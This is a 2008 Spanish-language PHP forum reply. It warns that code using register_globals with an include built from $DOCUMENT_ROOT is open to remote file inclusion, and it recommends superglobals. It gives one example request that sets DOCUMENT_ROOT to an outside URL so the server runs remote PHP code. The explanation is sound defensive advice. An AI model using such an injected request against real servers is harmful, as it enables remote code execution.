Ver Mensaje Individual
  #5 (permalink)  
Antiguo 14/02/2008, 05:43
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Re: Problema con Include y " / "

Es que es de hecho un problema de seguridad si no se trata como corresponde.

Al usar register_globals sin comprobar correctamente los datos, te estás haciendo vulnerable a un ataque remoto:
Vos tenés este código:

$i=include($DOCUMENT_ROOT.'/filtro.php'); if($i!==false)

Si tu página es "index.php", basta hacerte una petición como esta:

index.php?DOCUMENT_ROOT=http://www.misitio.com

(por supuesto, codificando correctamente : y /) para que tu programa intente obtener el archivo

http://www.misitio.com/filtro.php

Que como comprenderás, puede contener CUALQUIER cosa. Incluso código PHP que tu servidor ejecutará como si se tratara de código que vos mismo escribiste.

Por eso register_globals viene deshabilitado en las últimas versiones de PHP 4 y 5, y no existirá en PHP6.

Por la seguridad de tus programas, para evitar problemas futuros, programá con register_globals puesto a OFF, y usá $_SERVER['DOCUMENT_ROOT'] y las demás superglobales ($_POST, $_GET, $_COOKIES, $_ENV).


Saludos.